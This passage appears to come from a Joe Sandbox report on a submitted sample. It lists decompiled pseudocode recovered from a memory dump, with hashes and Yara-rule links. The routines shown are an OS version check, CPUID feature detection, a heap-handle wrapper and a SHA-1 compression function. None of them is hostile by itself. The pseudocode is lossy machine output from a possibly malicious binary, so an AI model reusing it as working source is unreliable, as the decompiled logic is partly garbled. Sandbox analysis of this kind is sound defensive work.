0x0088655b
0x00886564
0x00886564
0x008865a3
0x008865b1
0x008865b7
0x008865be
0x008865c0
0x008865c0
0x008865c7
0x008865c9
0x008865c9
0x008865d0
0x008865d2
0x008865d2
0x008865d9
0x008865db
0x008865db
0x008865e2
0x008865e4
0x008865e4
0x008865f1
0x008865f4
0x0088662b
0x008865f6
0x008865f6
0x008865f9
0x00886624
0x00886619
0x00886619
0x0088662d
0x00886635
0x00886638
0x00886657
0x0088665c
0x0088665c
0x0088665e
0x00886663
0x0088666f
0x00886665
0x00886668
0x00886668
0x00886674
0x00886674
0x0088663a
0x0088663d
0x0088664c
0x00000000
0x0088664c
0x0088663f
0x00886642
0x00886644
0x00886644
0x00000000
0x00886642
0x008865fb
0x008865fe
0x00886614
0x00000000
0x00886614
0x00886603
0x00886605
0x00886605
0x00886603
0x00000000
0x008865f4
0x008864f6
0x00886504
0x0088650c
0x00000000
0x0088650c
0x008864fa
0x008864ff
0x008864ff
0x00000000
0x008864fa
0x008864b7
0x008864c5
0x008864cd
0x00000000
0x008864cd
0x008864bb
0x008864c0
0x008864c0
0x008864bb

APIs

RaiseException.KERNEL32(C000000D,00000000,00000001,?,?,00000008,?,?,0088637F,?,?,00000008,?,?,0088601F,00000000), ref: 008865B1

Memory Dump Source

Source File: 0000000E.00000002.472630012.0000000000861000.00000020.00000001.01000000.00000009.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000E.00000002.472502125.0000000000860000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473142055.0000000000888000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473282330.0000000000893000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473355190.0000000000899000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473536377.00000000008A5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473813211.00000000008C5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473853866.00000000008C8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473894427.00000000008C9000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_860000_0RWCjOTmPGy8vyz30vD2T7Gp.jbxd

Similarity

API ID: ExceptionRaise
String ID:
API String ID: 3997070919-0
Opcode ID: 83833c7a3013d39fbacc87419ce80000d0137c8c2457a03ebb29180c4c84d13c
Instruction ID: 093b08ca6312700f65cadf7650d5b279778755be9c5d000f20b509082f23dd0e
Opcode Fuzzy Hash: 83833c7a3013d39fbacc87419ce80000d0137c8c2457a03ebb29180c4c84d13c
Instruction Fuzzy Hash: CFB17E31610608DFD719DF28C48AB697BE0FF44364F298658E8DACF2A1D735E9A1CB40

Uniqueness

Uniqueness Score: -1.00%

Function 00862C72 Relevance: 1.5, APIs: 1, Instructions: 28
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00862C72() {
				struct _OSVERSIONINFOW _v280;
				signed int _t6;
				intOrPtr _t12;
				intOrPtr _t13;

				_t12 =  *0x893000; // 0x2
				if(_t12 != 0xffffffff) {
					_t6 =  *0x895ed0;
					_t13 =  *0x895ed4;
				} else {
					_v280.dwOSVersionInfoSize = 0x114;
					GetVersionExW( &_v280);
					_t12 = _v280.dwPlatformId;
					_t6 = _v280.dwMajorVersion;
					_t13 = _v280.dwMinorVersion;
					 *0x893000 = _t12;
					 *0x895ed0 = _t6;
					 *0x895ed4 = _t13;
				}
				if(_t12 != 2) {
					return 0x501;
				} else {
					return (_t6 << 8) + _t13;
				}
			}

0x00862c75
0x00862c84
0x00862cc2
0x00862cc7
0x00862c86
0x00862c8c
0x00862c97
0x00862c9d
0x00862ca3
0x00862ca9
0x00862caf
0x00862cb5
0x00862cba
0x00862cba
0x00862cd0
0x00862cdf
0x00862cd2
0x00862cd8
0x00862cd8

APIs

GetVersionExW.KERNEL32(?), ref: 00862C97

Memory Dump Source

Source File: 0000000E.00000002.472630012.0000000000861000.00000020.00000001.01000000.00000009.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000E.00000002.472502125.0000000000860000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473142055.0000000000888000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473282330.0000000000893000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473355190.0000000000899000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473536377.00000000008A5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473813211.00000000008C5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473853866.00000000008C8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473894427.00000000008C9000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_860000_0RWCjOTmPGy8vyz30vD2T7Gp.jbxd

Similarity

API ID: Version
String ID:
API String ID: 1889659487-0
Opcode ID: 8b95838e2dbeafa05fb83066cf510595b48f6f242702a94e27b528a373743626
Instruction ID: 656d48b6b328189e91ad46bb2c11c00ee4f47f76db0981510a9f02774b09dba4
Opcode Fuzzy Hash: 8b95838e2dbeafa05fb83066cf510595b48f6f242702a94e27b528a373743626
Instruction Fuzzy Hash: 31F05EB4A00A088BCB29DB18ED526DD77F1F754304F284296D616D3794D7B19E84CF61

Uniqueness

Uniqueness Score: -1.00%

Function 00866AAE Relevance: 1.3, Strings: 1, Instructions: 62
COMMON

Download Yara Rule

C-Code - Quality: 75%

			E00866AAE(intOrPtr __edx) {
				unsigned int _v8;
				signed int _v12;
				signed char _v16;
				signed int _v20;
				intOrPtr _t25;
				signed int _t26;
				unsigned int _t29;
				intOrPtr _t31;
				signed int _t34;
				intOrPtr _t37;
				intOrPtr* _t39;
				intOrPtr* _t41;

				_t37 = __edx;
				asm("cpuid");
				_t39 =  &_v20;
				 *_t39 = 0x80000000;
				 *((intOrPtr*)(_t39 + 4)) = _t31;
				 *((intOrPtr*)(_t39 + 8)) = 0;
				 *((intOrPtr*)(_t39 + 0xc)) = __edx;
				_t34 = _v20 & 0x7fffffff;
				_t25 = 7;
				if(_t34 < 0x80000000) {
					if(_t34 < 1) {
						_t26 = 0;
					} else {
						goto L5;
					}
				} else {
					asm("cpuid");
					 *_t39 = _t25;
					 *((intOrPtr*)(_t39 + 4)) = _t31;
					 *((intOrPtr*)(_t39 + 8)) = 0;
					 *((intOrPtr*)(_t39 + 0xc)) = __edx;
					if((_v16 & 0x00000020) == 0) {
						L5:
						_t41 =  &_v20;
						asm("cpuid");
						 *_t41 = 1;
						 *((intOrPtr*)(_t41 + 4)) = _t31;
						 *((intOrPtr*)(_t41 + 8)) = 0;
						 *((intOrPtr*)(_t41 + 0xc)) = _t37;
						if((_v12 & 0x00080000) == 0) {
							if((_v12 & 0x00000200) == 0) {
								_t29 = _v8;
								if((_t29 & 0x04000000) == 0) {
									_t26 = _t29 >> 0x00000019 & 0x00000001;
								} else {
									_push(2);
									goto L3;
								}
							} else {
								_push(3);
								goto L3;
							}
						} else {
							_push(4);
							goto L3;
						}
					} else {
						_push(5);
						L3:
						_pop(_t26);
					}
				}
				return _t26;
			}

0x00866aae
0x00866abc
0x00866abf
0x00866ac2
0x00866ac4
0x00866ac7
0x00866aca
0x00866ad2
0x00866ad8
0x00866adb
0x00866afa
0x00866b41
0x00000000
0x00000000
0x00000000
0x00866add
0x00866adf
0x00866ae1
0x00866ae3
0x00866ae6
0x00866ae9
0x00866af0
0x00866afc
0x00866afe
0x00866b04
0x00866b06
0x00866b08
0x00866b0b
0x00866b0e
0x00866b18
0x00866b25
0x00866b2b
0x00866b33
0x00866b3c
0x00866b35
0x00866b35
0x00000000
0x00866b35
0x00866b27
0x00866b27
0x00000000
0x00866b27
0x00866b1a
0x00866b1a
0x00000000
0x00866b1a
0x00866af2
0x00866af2
0x00866af4
0x00866af4
0x00866af4
0x00866af0
0x00866b46

Strings

, xrefs: 00866AEC

Memory Dump Source

Source File: 0000000E.00000002.472630012.0000000000861000.00000020.00000001.01000000.00000009.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000E.00000002.472502125.0000000000860000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473142055.0000000000888000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473282330.0000000000893000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473355190.0000000000899000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473536377.00000000008A5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473813211.00000000008C5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473853866.00000000008C8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473894427.00000000008C9000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_860000_0RWCjOTmPGy8vyz30vD2T7Gp.jbxd

Similarity

API ID:
String ID:
API String ID: 0-3916222277
Opcode ID: f9f1c2bed15b44f839f0c6247bb41c9584460cb63a71212a500cbf4f9e6b509d
Instruction ID: 06cb8621aa6fcd50fefc17e0abe6f8e24390dcaf87a5175580d0fa31ddb94cfd
Opcode Fuzzy Hash: f9f1c2bed15b44f839f0c6247bb41c9584460cb63a71212a500cbf4f9e6b509d
Instruction Fuzzy Hash: 8311BCB1A0874ADBD728CF5DC85576AFBE4FF04314F21C82ED4ABE2281E670A4608B00

Uniqueness

Uniqueness Score: -1.00%

Function 008809B0 Relevance: 1.3, APIs: 1, Instructions: 5
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E008809B0() {
				signed int _t3;

				_t3 = GetProcessHeap();
				 *0x8c8d24 = _t3;
				return _t3 & 0xffffff00 | _t3 != 0x00000000;
			}

0x008809b0
0x008809b8
0x008809c0

APIs

GetProcessHeap.KERNEL32 ref: 008809B0

Memory Dump Source

Source File: 0000000E.00000002.472630012.0000000000861000.00000020.00000001.01000000.00000009.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000E.00000002.472502125.0000000000860000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473142055.0000000000888000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473282330.0000000000893000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473355190.0000000000899000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473536377.00000000008A5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473813211.00000000008C5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473853866.00000000008C8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473894427.00000000008C9000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_860000_0RWCjOTmPGy8vyz30vD2T7Gp.jbxd

Similarity

API ID: HeapProcess
String ID:
API String ID: 54951025-0
Opcode ID: 2954c5cdc730a3f65b57a5a3e8fa3e1d47abddadaa6ff38becb45701ca37641e
Instruction ID: 0b0835f76ba8471bb66ec990c7f1b8cb66b65fa0df9984d6e4347ebb8edf6a3a
Opcode Fuzzy Hash: 2954c5cdc730a3f65b57a5a3e8fa3e1d47abddadaa6ff38becb45701ca37641e
Instruction Fuzzy Hash: 6FA00474541105CF5740CF35DF0D70D35F5775D5D17454055D545C5170FF3444515705

Uniqueness

Uniqueness Score: -1.00%

Function 008659C7 Relevance: .7, Instructions: 694
COMMONCrypto

Download Yara Rule

C-Code - Quality: 70%

			E008659C7(signed int* _a4, signed int* _a8, signed int* _a12, char _a16) {
				signed int _v4;
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int* _v20;
				signed int _v24;
				signed int _v28;
				signed int _v32;
				signed int _v36;
				signed int _v40;
				signed int _t434;
				intOrPtr _t436;
				intOrPtr _t441;
				void* _t446;
				intOrPtr _t448;
				signed int _t451;
				void* _t453;
				signed int _t459;
				signed int _t465;
				signed int _t471;
				signed int _t478;
				signed int _t481;
				signed int _t488;
				signed int _t511;
				signed int _t518;
				signed int _t525;
				signed int _t545;
				signed int _t554;
				signed int _t563;
				signed int* _t591;
				signed int _t592;
				signed int _t596;
				signed int _t599;
				signed int _t600;
				signed int* _t601;
				signed int _t602;
				signed int _t604;
				signed int _t606;
				signed int _t607;
				signed int* _t608;
				signed int _t609;
				signed int* _t675;
				signed int* _t746;
				signed int _t757;
				signed int _t774;
				signed int _t778;
				signed int _t782;
				signed int _t783;
				signed int _t787;
				signed int _t788;
				signed int _t792;
				signed int _t797;
				signed int _t801;
				signed int _t805;
				signed int _t807;
				signed int _t810;
				signed int* _t812;
				signed int _t815;
				signed int _t816;
				signed int _t817;
				signed int _t821;
				signed int _t822;
				signed int _t826;
				signed int _t831;
				signed int _t835;
				signed int _t839;
				signed int* _t840;
				signed int _t842;
				signed int _t843;
				signed int _t844;
				signed int _t846;
				signed int _t847;
				signed int _t849;
				signed int* _t850;
				signed int _t853;
				signed int _t857;
				signed int _t858;
				signed int* _t862;
				signed int _t863;
				signed int _t865;
				signed int _t866;
				signed int _t870;
				signed int _t871;
				signed int _t875;
				signed int _t879;
				signed int _t883;
				signed int _t887;
				signed int _t888;
				signed int* _t889;
				signed int _t890;
				signed int _t892;
				signed int _t893;
				signed int _t894;
				signed int _t896;
				signed int _t897;
				signed int _t899;
				signed int _t900;
				signed int _t902;
				signed int _t903;
				signed int* _t904;
				signed int _t905;
				signed int _t907;
				signed int _t908;
				signed int _t910;
				signed int _t911;

				_t912 =  &_v40;
				if(_a16 == 0) {
					_t840 = _a8;
					_v20 = _t840;
					E00875220(_t840, _a12, 0x40);
					_t912 =  &(( &_v40)[3]);
				} else {
					_t840 = _a12;
					_v20 = _t840;
				}
				_t850 = _a4;
				_t592 = _t850[1];
				_t894 =  *_t850;
				_v28 = _t850[2];
				_v24 = _t850[3];
				_v32 = _t592;
				_v36 = 0;
				_t434 = E0087B1D4( *_t840);
				asm("rol edx, 0x5");
				 *_t840 = _t434;
				_t435 = _t840;
				_t596 = (_t592 & (_v24 ^ _v28) ^ _v24) + _t894 + _t434 + _t850[4] + 0x5a827999;
				_v16 = _t840;
				_t853 = _v32;
				asm("ror esi, 0x2");
				_v32 =  &(_t840[3]);
				do {
					_t436 = E0087B1D4(_t435[1]);
					asm("rol edx, 0x5");
					 *((intOrPtr*)(_v16 + 4)) = _t436;
					asm("ror ebp, 0x2");
					_v24 = _v24 + 0x5a827999 + ((_v28 ^ _t853) & _t894 ^ _v28) + _t596 + _t436;
					_t441 = E0087B1D4( *((intOrPtr*)(_v32 - 4)));
					asm("rol edx, 0x5");
					 *((intOrPtr*)(_v32 - 4)) = _t441;
					asm("ror ebx, 0x2");
					_v28 = _v28 + 0x5a827999 + ((_t853 ^ _t894) & _t596 ^ _t853) + _v24 + _t441;
					_t446 = E0087B1D4( *_v32);
					asm("rol edx, 0x5");
					 *_v32 = _t446;
					asm("ror dword [esp+0x2c], 0x2");
					_t853 = _t853 + ((_t596 ^ _t894) & _v24 ^ _t894) + _v28 + 0x5a827999 + _t446;
					_t448 = E0087B1D4( *((intOrPtr*)(_v32 + 4)));
					_v32 = _v32 + 0x14;
					asm("rol edx, 0x5");
					 *((intOrPtr*)(_v32 + 4)) = _t448;
					_t451 = _v36 + 5;
					asm("ror dword [esp+0x2c], 0x2");
					_v36 = _t451;
					_t894 = _t894 + ((_t596 ^ _v24) & _v28 ^ _t596) + _t853 + _t448 + 0x5a827999;
					_v16 =  &(_t840[_t451]);
					_t453 = E0087B1D4(_t840[_t451]);
					_t912 =  &(_t912[5]);
					asm("rol edx, 0x5");
					 *_v16 = _t453;
					_t435 = _v16;
					asm("ror esi, 0x2");
					_t596 = _t596 + 0x5a827999 + ((_v24 ^ _v28) & _t853 ^ _v24) + _t894 + _t453;
				} while (_v36 != 0xf);
				_t774 = _t840[0xe] ^ _t840[9] ^ _t840[1] ^ _t840[3];
				_v32 = _t853;
				_t857 = _t840[0xd] ^ _t840[8] ^  *_t840 ^ _t840[2];
				asm("rol ecx, 0x5");
				asm("rol esi, 1");
				asm("rol edx, 1");
				asm("ror ebp, 0x2");
				_t840[1] = _t774;
				_t459 = ((_v28 ^ _v32) & _t894 ^ _v28) + _t596 + _t857 + _v24 + 0x5a827999;
				 *_t840 = _t857;
				_v40 = _t459;
				asm("rol ecx, 0x5");
				_t778 = _t840[0xf] ^ _t840[0xa] ^ _t840[4] ^ _t840[2];
				_t465 = ((_v32 ^ _t894) & _t596 ^ _v32) + _t459 + _t774 + _v28 + 0x5a827999;
				_v36 = _t465;
				asm("ror ebx, 0x2");
				asm("rol edx, 1");
				asm("rol ecx, 0x5");
				asm("ror dword [esp+0x10], 0x2");
				_t840[2] = _t778;
				_t471 = ((_t596 ^ _t894) & _v40 ^ _t894) + _t465 + _t778 + _v32 + 0x5a827999;
				_v32 = _t471;
				asm("rol ecx, 0x5");
				_t782 = _t840[0xb] ^ _t840[5] ^ _t857 ^ _t840[3];
				_t858 = _v40;
				asm("rol edx, 1");
				_t840[3] = _t782;
				_v24 = _t596;
				asm("ror dword [esp+0x18], 0x2");
				_t783 = 0x11;
				_v28 = ((_t596 ^ _t858) & _v36 ^ _t596) + _t471 + 0x5a827999 + _t782 + _t894;
				_v16 = _t783;
				do {
					_t96 = _t783 + 5; // 0x16
					_t478 = _t96;
					_t97 = _t783 - 5; // 0xc
					_v8 = _t478;
					_t99 = _t783 + 3; // 0x14
					_t896 = _t99 & 0x0000000f;
					_v12 = _t896;
					_t599 = _t478 & 0x0000000f;
					asm("rol ecx, 0x5");
					_t787 = _t840[_t97 & 0x0000000f] ^ _t840[_t783 & 0x0000000f] ^ _t840[_t896] ^ _t840[_t599];
					_t481 = _v16;
					asm("rol edx, 1");
					_t840[_t896] = _t787;
					_t897 = _v32;
					asm("ror ebp, 0x2");
					_v32 = _t897;
					_t862 = _v20;
					_v24 = _v24 + 0x6ed9eba1 + (_t858 ^ _v36 ^ _t897) + _v28 + _t787;
					_t788 = 0xf;
					_t899 = _t481 + 0x00000004 & _t788;
					_t842 = _t481 + 0x00000006 & _t788;
					_t792 =  *(_t862 + (_t481 - 0x00000004 & _t788) * 4) ^  *(_t862 + (_t481 + 0x00000001 & _t788) * 4) ^  *(_t862 + _t899 * 4) ^  *(_t862 + _t842 * 4);
					asm("rol edx, 1");
					 *(_t862 + _t899 * 4) = _t792;
					_t863 = _v28;
					asm("rol ecx, 0x5");
					asm("ror esi, 0x2");
					_v28 = _t863;
					_t488 = _v16;
					_v40 = _v40 + 0x6ed9eba1 + (_v36 ^ _v32 ^ _t863) + _v24 + _t792;
					_t865 = _t488 + 0x00000007 & 0x0000000f;
					_t675 = _v20;
					_t797 = _v20[_t488 - 0x00000003 & 0x0000000f] ^  *(_t675 + (_t488 + 0x00000002 & 0x0000000f) * 4) ^  *(_t675 + _t865 * 4) ^  *(_t675 + _t599 * 4);
					asm("rol edx, 1");
					 *(_t675 + _t599 * 4) = _t797;
					_t600 = _v24;
					asm("rol ecx, 0x5");
					asm("ror ebx, 0x2");
					_v24 = _t600;
					_t601 = _v20;
					_v36 = _v36 + 0x6ed9eba1 + (_t600 ^ _v32 ^ _v28) + _v40 + _t797;
					asm("rol ecx, 0x5");
					_t801 =  *(_t601 + (_v16 - 0x00000008 & 0x0000000f) * 4) ^  *(_t601 + (_v16 + 0xfffffffe & 0x0000000f) * 4) ^  *(_t601 + _t842 * 4) ^  *(_t601 + _v12 * 4);
					asm("rol edx, 1");
					 *(_t601 + _t842 * 4) = _t801;
					_t602 = _v24;
					_t843 = _v40;
					asm("ror edi, 0x2");
					_v40 = _t843;
					_t840 = _v20;
					_v32 = _v32 + 0x6ed9eba1 + (_t602 ^ _t843 ^ _v28) + _v36 + _t801;
					_t805 = _t840[_v16 - 0x00000007 & 0x0000000f] ^ _t840[_v16 - 0x00000001 & 0x0000000f] ^ _t840[_t865] ^ _t840[_t899];
					_t900 = _v36;
					asm("rol edx, 1");
					asm("rol ecx, 0x5");
					_t840[_t865] = _t805;
					_t858 = _v40;
					_t783 = _v8;
					asm("ror ebp, 0x2");
					_v36 = _t900;
					_v16 = _t783;
					_v28 = _v28 + 0x6ed9eba1 + (_t602 ^ _t858 ^ _t900) + _v32 + _t805;
				} while (_t783 + 3 <= 0x23);
				_t866 = 0x25;
				_v16 = _t866;
				while(1) {
					_t205 = _t866 + 5; // 0x2a
					_t511 = _t205;
					_t206 = _t866 - 5; // 0x20
					_v4 = _t511;
					_t208 = _t866 + 3; // 0x28
					_t807 = _t208 & 0x0000000f;
					_v8 = _t807;
					_t902 = _t511 & 0x0000000f;
					_t870 = _t840[_t206 & 0x0000000f] ^ _t840[_t866 & 0x0000000f] ^ _t840[_t902] ^ _t840[_t807];
					asm("rol esi, 1");
					_t840[_t807] = _t870;
					asm("ror dword [esp+0x1c], 0x2");
					asm("rol edx, 0x5");
					_t871 = 0xf;
					_v24 = _v28 - 0x70e44324 + ((_v36 | _v32) & _v40 | _v36 & _v32) + _t870 + _t602;
					_t518 = _v16;
					_t604 = _t518 + 0x00000006 & _t871;
					_t810 = _t518 + 0x00000004 & _t871;
					_v12 = _t810;
					_t875 = _t840[_t518 - 0x00000004 & _t871] ^ _t840[_t518 + 0x00000001 & _t871] ^ _t840[_t810] ^ _t840[_t604];
					asm("rol esi, 1");
					_t840[_t810] = _t875;
					_t844 = _v28;
					asm("rol edx, 0x5");
					asm("ror edi, 0x2");
					_v28 = _t844;
					_t812 = _v20;
					_v40 = _v24 - 0x70e44324 + ((_v32 | _t844) & _v36 | _v32 & _t844) + _t875 + _v40;
					_t525 = _v16;
					_t846 = _t525 + 0x00000007 & 0x0000000f;
					_t879 =  *(_t812 + (_t525 - 0x00000003 & 0x0000000f) * 4) ^  *(_t812 + (_t525 + 0x00000002 & 0x0000000f) * 4) ^  *(_t812 + _t846 * 4) ^  *(_t812 + _t902 * 4);
					asm("rol esi, 1");
					 *(_t812 + _t902 * 4) = _t879;
					asm("rol edx, 0x5");
					_t903 = _v24;
					asm("ror ebp, 0x2");
					_t815 = _v40 + 0x8f1bbcdc + ((_t903 | _v28) & _v32 | _t903 & _v28) + _t879 + _v36;
					_v24 = _t903;
					_t904 = _v20;
					_v36 = _t815;
					asm("rol edx, 0x5");
					_t883 =  *(_t904 + (_v16 - 0x00000008 & 0x0000000f) * 4) ^  *(_t904 + (_v16 + 0xfffffffe & 0x0000000f) * 4) ^  *(_t904 + _v8 * 4) ^  *(_t904 + _t604 * 4);
					asm("rol esi, 1");
					 *(_t904 + _t604 * 4) = _t883;
					_t602 = _v24;
					asm("ror dword [esp+0x10], 0x2");
					_t816 = _t815 + ((_t602 | _v40) & _v28 | _t602 & _v40) + 0x8f1bbcdc + _t883 + _v32;
					_v32 = _t816;
					asm("rol edx, 0x5");
					_t887 =  *(_t904 + (_v16 - 0x00000007 & 0x0000000f) * 4) ^  *(_t904 + (_v16 - 0x00000001 & 0x0000000f) * 4) ^  *(_t904 + _v12 * 4) ^  *(_t904 + _t846 * 4);
					asm("rol esi, 1");
					 *(_t904 + _t846 * 4) = _t887;
					_t905 = _v36;
					asm("ror ebp, 0x2");
					_v36 = _t905;
					_t309 = _t816 - 0x70e44324; // -4294967294
					_t866 = _v4;
					_v28 = _t309 + ((_v40 | _t905) & _t602 | _v40 & _t905) + _t887 + _v28;
					_v16 = _t866;
					if(_t866 + 3 > 0x37) {
						break;
					}
					_t840 = _v20;
				}
				_t817 = 0x39;
				_v16 = _t817;
				_t847 = _t602;
				do {
					_t315 = _t817 + 5; // 0x3e
					_t545 = _t315;
					_v8 = _t545;
					_t317 = _t817 + 3; // 0x3c
					_t318 = _t817 - 5; // 0x34
					_t888 = 0xf;
					_t907 = _t317 & _t888;
					_t606 = _t545 & _t888;
					_t889 = _v20;
					_v4 = _t907;
					_t821 =  *(_t889 + (_t318 & _t888) * 4) ^  *(_t889 + (_t817 & _t888) * 4) ^  *(_t889 + _t907 * 4) ^  *(_t889 + _t606 * 4);
					asm("rol edx, 1");
					 *(_t889 + _t907 * 4) = _t821;
					_t908 = _v32;
					asm("rol ecx, 0x5");
					asm("ror ebp, 0x2");
					_v32 = _t908;
					_v24 = (_v40 ^ _v36 ^ _t908) + _t821 + _t847 + _v28 + 0xca62c1d6;
					_t554 = _v16;
					_t822 = 0xf;
					_t849 = _t554 + 0x00000006 & _t822;
					_t910 = _t554 + 0x00000004 & _t822;
					_t826 =  *(_t889 + (_t554 - 0x00000004 & _t822) * 4) ^  *(_t889 + (_t554 + 0x00000001 & _t822) * 4) ^  *(_t889 + _t910 * 4) ^  *(_t889 + _t849 * 4);
					asm("rol edx, 1");
					 *(_t889 + _t910 * 4) = _t826;
					_t890 = _v28;
					asm("rol ecx, 0x5");
					_v40 = (_v36 ^ _v32 ^ _t890) + _t826 + _v40 + _v24 + 0xca62c1d6;
					_t563 = _v16;
					asm("ror esi, 0x2");
					_v28 = _t890;
					_t892 = _t563 + 0x00000007 & 0x0000000f;
					_t746 = _v20;
					_t831 = _v20[_t563 - 0x00000003 & 0x0000000f] ^  *(_t746 + (_t563 + 0x00000002 & 0x0000000f) * 4) ^  *(_t746 + _t892 * 4) ^  *(_t746 + _t606 * 4);
					asm("rol edx, 1");
					 *(_t746 + _t606 * 4) = _t831;
					_t607 = _v24;
					asm("rol ecx, 0x5");
					asm("ror ebx, 0x2");
					_v24 = _t607;
					_t608 = _v20;
					_v36 = (_t607 ^ _v32 ^ _v28) + _t831 + _v36 + _v40 + 0xca62c1d6;
					asm("rol ecx, 0x5");
					_t835 = _t608[_v16 - 0x00000008 & 0x0000000f] ^ _t608[_v16 + 0xfffffffe & 0x0000000f] ^ _t608[_v4] ^ _t608[_t849];
					asm("rol edx, 1");
					_t608[_t849] = _t835;
					_t847 = _v24;
					asm("ror dword [esp+0x10], 0x2");
					_v32 = (_t847 ^ _v40 ^ _v28) + _t835 + _v32 + _v36 + 0xca62c1d6;
					_t839 = _t608[_v16 - 0x00000007 & 0x0000000f] ^ _t608[_v16 - 0x00000001 & 0x0000000f] ^ _t608[_t892] ^ _t608[_t910];
					_t911 = _v36;
					asm("rol edx, 1");
					_t608[_t892] = _t839;
					_t609 = _v40;
					_t893 = _v32;
					asm("ror ebp, 0x2");
					_t817 = _v8;
					asm("rol ecx, 0x5");
					_v36 = _t911;
					_t757 = _t893 + 0xca62c1d6 + (_t847 ^ _t609 ^ _t911) + _t839 + _v28;
					_v16 = _t817;
					_v28 = _t757;
				} while (_t817 + 3 <= 0x4b);
				_t591 = _a4;
				_t591[1] = _t591[1] + _t893;
				_t591[2] = _t591[2] + _t911;
				_t591[3] = _t591[3] + _t609;
				 *_t591 =  *_t591 + _t757;
				_t591[4] = _t591[4] + _t847;
				return _t591;
			}

0x008659c7
0x008659d3
0x008659df
0x008659e9
0x008659ee
0x008659f3
0x008659d5
0x008659d5
0x008659d9
0x008659d9
0x008659f6
0x008659ff
0x00865a02
0x00865a04
0x00865a0e
0x00865a14
0x00865a18
0x00865a1c
0x00865a34
0x00865a40
0x00865a44
0x00865a46
0x00865a48
0x00865a4c
0x00865a50
0x00865a53
0x00865a57
0x00865a5a
0x00865a65
0x00865a6a
0x00865a84
0x00865a89
0x00865a94
0x00865aa1
0x00865aa6
0x00865aba
0x00865ac1
0x00865acb
0x00865ad8
0x00865ae1
0x00865af1
0x00865afd
0x00865aff
0x00865b0a
0x00865b0f
0x00865b12
0x00865b26
0x00865b2d
0x00865b34
0x00865b3d
0x00865b41
0x00865b45
0x00865b50
0x00865b53
0x00865b56
0x00865b62
0x00865b74
0x00865b77
0x00865b79
0x00865b93
0x00865b96
0x00865bac
0x00865baf
0x00865bb2
0x00865bb6
0x00865bba
0x00865bc7
0x00865bca
0x00865bcc
0x00865bce
0x00865bda
0x00865bfa
0x00865bfd
0x00865bff
0x00865c05
0x00865c08
0x00865c0e
0x00865c17
0x00865c20
0x00865c33
0x00865c37
0x00865c3d
0x00865c40
0x00865c45
0x00865c51
0x00865c5b
0x00865c60
0x00865c68
0x00865c6d
0x00865c6e
0x00865c72
0x00865c76
0x00865c7a
0x00865c7a
0x00865c7d
0x00865c80
0x00865c87
0x00865c8c
0x00865c91
0x00865c98
0x00865ca2
0x00865cab
0x00865cae
0x00865cb2
0x00865cb6
0x00865cb9
0x00865cc1
0x00865cd1
0x00865cda
0x00865cde
0x00865ce7
0x00865cea
0x00865cec
0x00865cfe
0x00865d09
0x00865d0b
0x00865d0e
0x00865d14
0x00865d19
0x00865d2c
0x00865d32
0x00865d36
0x00865d46
0x00865d4f
0x00865d59
0x00865d5c
0x00865d5e
0x00865d65
0x00865d6b
0x00865d7a
0x00865d87
0x00865d8d
0x00865d95
0x00865db6
0x00865db9
0x00865dbc
0x00865dc0
0x00865dc3
0x00865dc9
0x00865dd5
0x00865de2
0x00865de6
0x00865df0
0x00865e09
0x00865e10
0x00865e14
0x00865e16
0x00865e19
0x00865e1e
0x00865e24
0x00865e2c
0x00865e39
0x00865e3f
0x00865e46
0x00865e4a
0x00865e55
0x00865e56
0x00865e60
0x00865e60
0x00865e60
0x00865e63
0x00865e66
0x00865e6d
0x00865e72
0x00865e77
0x00865e7e
0x00865e8c
0x00865ea3
0x00865ea5
0x00865eb0
0x00865eb5
0x00865eb8
0x00865ec1
0x00865ec5
0x00865ecc
0x00865ed1
